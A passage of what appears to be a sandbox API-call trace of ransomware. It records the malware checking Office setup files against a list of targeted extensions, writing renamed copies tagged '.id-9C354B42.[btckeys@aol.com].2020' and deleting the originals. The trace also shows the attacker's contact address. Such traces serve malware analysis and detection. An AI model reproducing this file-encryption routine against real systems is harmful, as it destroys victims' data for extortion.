(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0070.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0070.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0070.523] lstrlenW (lpString=".doc") returned 4 [0070.523] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.523] lstrlenW (lpString=".docx") returned 5 [0070.524] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0070.524] lstrlenW (lpString=".pdf") returned 4 [0070.524] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.524] lstrlenW (lpString=".xls") returned 4 [0070.524] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.524] lstrlenW (lpString=".xlsx") returned 5 [0070.524] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0070.524] lstrlenW (lpString=".ppt") returned 4 [0070.524] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0070.524] lstrlenW (lpString=".zip") returned 4 [0070.524] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.524] lstrlenW (lpString=".rar") returned 4 [0070.524] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.524] lstrlenW (lpString=".bz2") returned 4 [0070.524] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.524] lstrlenW (lpString=".7z") returned 3 [0070.524] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0070.524] lstrlenW (lpString=".dbf") returned 4 [0070.524] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0070.524] lstrlenW (lpString=".1cd") returned 4 [0070.524] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0070.524] lstrlenW (lpString=".jpg") returned 4 [0070.524] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0070.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0070.525] lstrlenW (lpString=".doc") returned 4 [0070.525] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.525] lstrlenW (lpString=".docx") returned 5 [0070.525] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0070.525] lstrlenW (lpString=".pdf") returned 4 [0070.525] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.525] lstrlenW (lpString=".xls") returned 4 [0070.525] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.525] lstrlenW (lpString=".xlsx") returned 5 [0070.525] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0070.525] lstrlenW (lpString=".ppt") returned 4 [0070.525] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0070.525] lstrlenW (lpString=".zip") returned 4 [0070.525] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.525] lstrlenW (lpString=".rar") returned 4 [0070.525] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.525] lstrlenW (lpString=".bz2") returned 4 [0070.525] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.525] lstrlenW (lpString=".7z") returned 3 [0070.525] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0070.525] lstrlenW (lpString=".dbf") returned 4 [0070.526] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0070.526] lstrlenW (lpString=".1cd") returned 4 [0070.526] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0070.526] lstrlenW (lpString=".jpg") returned 4 [0070.526] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.526] lstrcmpiW (lpString1=".CHM", lpString2=".2020") returned 1 [0070.526] lstrlenW (lpString="OCT.CHM") returned 7 [0070.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0070.576] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=71236) returned 1 [0070.576] CloseHandle (hObject=0x1e0) returned 1 [0070.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0070.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0070.577] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.577] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0070.578] GetLastError () returned 0x0 [0070.578] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x11644, lpOverlapped=0x0) returned 1 [0070.632] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x11650, lpOverlapped=0x0) returned 1 [0070.635] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0070.635] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe2, lpOverlapped=0x0) returned 1 [0070.635] SetEndOfFile (hFile=0x204) returned 1 [0070.635] CloseHandle (hObject=0x204) returned 1 [0070.638] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.638] SetEndOfFile (hFile=0x1e0) returned 1 [0070.640] CloseHandle (hObject=0x1e0) returned 1 [0070.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.640] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0070.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0070.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0070.644] lstrlenW (lpString=".doc") returned 4 [0070.644] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0070.644] lstrlenW (lpString=".docx") returned 5 [0070.644] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0070.644] lstrlenW (lpString=".pdf") returned 4 [0070.644] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0070.644] lstrlenW (lpString=".xls") returned 4 [0070.644] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0070.644] lstrlenW (lpString=".xlsx") returned 5 [0070.644] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0070.644] lstrlenW (lpString=".ppt") returned 4 [0070.644] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0070.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0070.645] lstrlenW (lpString=".zip") returned 4 [0070.645] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0070.645] lstrlenW (lpString=".rar") returned 4 [0070.645] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0070.645] lstrlenW (lpString=".bz2") returned 4 [0070.645] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0070.645] lstrlenW (lpString=".7z") returned 3 [0070.645] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0070.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0070.645] lstrlenW (lpString=".dbf") returned 4 [0070.645] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0070.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0070.645] lstrlenW (lpString=".1cd") returned 4 [0070.645] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0070.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0070.645] lstrlenW (lpString=".jpg") returned 4 [0070.645] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0070.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0070.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0070.645] lstrlenW (lpString=".doc") returned 4 [0070.645] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0070.645] lstrlenW (lpString=".docx") returned 5 [0070.645] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0070.645] lstrlenW (lpString=".pdf") returned 4 [0070.645] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0070.646] lstrlenW (lpString=".xls") returned 4 [0070.646] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0070.646] lstrlenW (lpString=".xlsx") returned 5 [0070.646] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0070.646] lstrlenW (lpString=".ppt") returned 4 [0070.646] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0070.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0070.646] lstrlenW (lpString=".zip") returned 4 [0070.646] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0070.646] lstrlenW (lpString=".rar") returned 4 [0070.646] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0070.646] lstrlenW (lpString=".bz2") returned 4 [0070.646] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0070.646] lstrlenW (lpString=".7z") returned 3 [0070.646] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0070.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0070.646] lstrlenW (lpString=".dbf") returned 4 [0070.646] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0070.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0070.646] lstrlenW (lpString=".1cd") returned 4 [0070.646] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0070.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0070.646] lstrlenW (lpString=".jpg") returned 4 [0070.646] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0070.647] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0070.647] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0070.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0070.647] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=819) returned 1 [0070.647] CloseHandle (hObject=0x1e0) returned 1 [0070.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0070.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0070.648] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.648] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0070.648] GetLastError () returned 0x0 [0070.649] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x333, lpOverlapped=0x0) returned 1 [0070.759] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x340, lpOverlapped=0x0) returned 1 [0070.760] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0070.760] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xf4, lpOverlapped=0x0) returned 1 [0070.760] SetEndOfFile (hFile=0x204) returned 1 [0070.760] CloseHandle (hObject=0x204) returned 1 [0070.769] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.769] SetEndOfFile (hFile=0x1e0) returned 1 [0070.770] CloseHandle (hObject=0x1e0) returned 1 [0070.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.770] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0070.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0070.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0070.770] lstrlenW (lpString=".doc") returned 4 [0070.770] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.770] lstrlenW (lpString=".docx") returned 5 [0070.770] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0070.770] lstrlenW (lpString=".pdf") returned 4 [0070.770] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.770] lstrlenW (lpString=".xls") returned 4 [0070.770] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.770] lstrlenW (lpString=".xlsx") returned 5 [0070.770] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0070.770] lstrlenW (lpString=".ppt") returned 4 [0070.771] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0070.771] lstrlenW (lpString=".zip") returned 4 [0070.771] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.771] lstrlenW (lpString=".rar") returned 4 [0070.771] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.771] lstrlenW (lpString=".bz2") returned 4 [0070.771] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.771] lstrlenW (lpString=".7z") returned 3 [0070.771] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0070.771] lstrlenW (lpString=".dbf") returned 4 [0070.771] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0070.771] lstrlenW (lpString=".1cd") returned 4 [0070.771] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0070.771] lstrlenW (lpString=".jpg") returned 4 [0070.771] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0070.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0070.771] lstrlenW (lpString=".doc") returned 4 [0070.771] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.771] lstrlenW (lpString=".docx") returned 5 [0070.771] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0070.771] lstrlenW (lpString=".pdf") returned 4 [0070.771] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.771] lstrlenW (lpString=".xls") returned 4 [0070.771] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.771] lstrlenW (lpString=".xlsx") returned 5 [0070.771] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0070.771] lstrlenW (lpString=".ppt") returned 4 [0070.771] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0070.771] lstrlenW (lpString=".zip") returned 4 [0070.771] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.772] lstrlenW (lpString=".rar") returned 4 [0070.772] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.772] lstrlenW (lpString=".bz2") returned 4 [0070.772] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.772] lstrlenW (lpString=".7z") returned 3 [0070.772] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0070.772] lstrlenW (lpString=".dbf") returned 4 [0070.772] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0070.772] lstrlenW (lpString=".1cd") returned 4 [0070.772] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0070.772] lstrlenW (lpString=".jpg") returned 4 [0070.772] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.772] lstrcmpiW (lpString1=".CHM", lpString2=".2020") returned 1 [0070.772] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0070.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0070.773] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=37689) returned 1 [0070.773] CloseHandle (hObject=0x1e0) returned 1 [0070.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0070.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0070.774] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.774] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0070.774] GetLastError () returned 0x0 [0070.774] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x9339, lpOverlapped=0x0) returned 1 [0071.378] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x9340, lpOverlapped=0x0) returned 1 [0071.380] 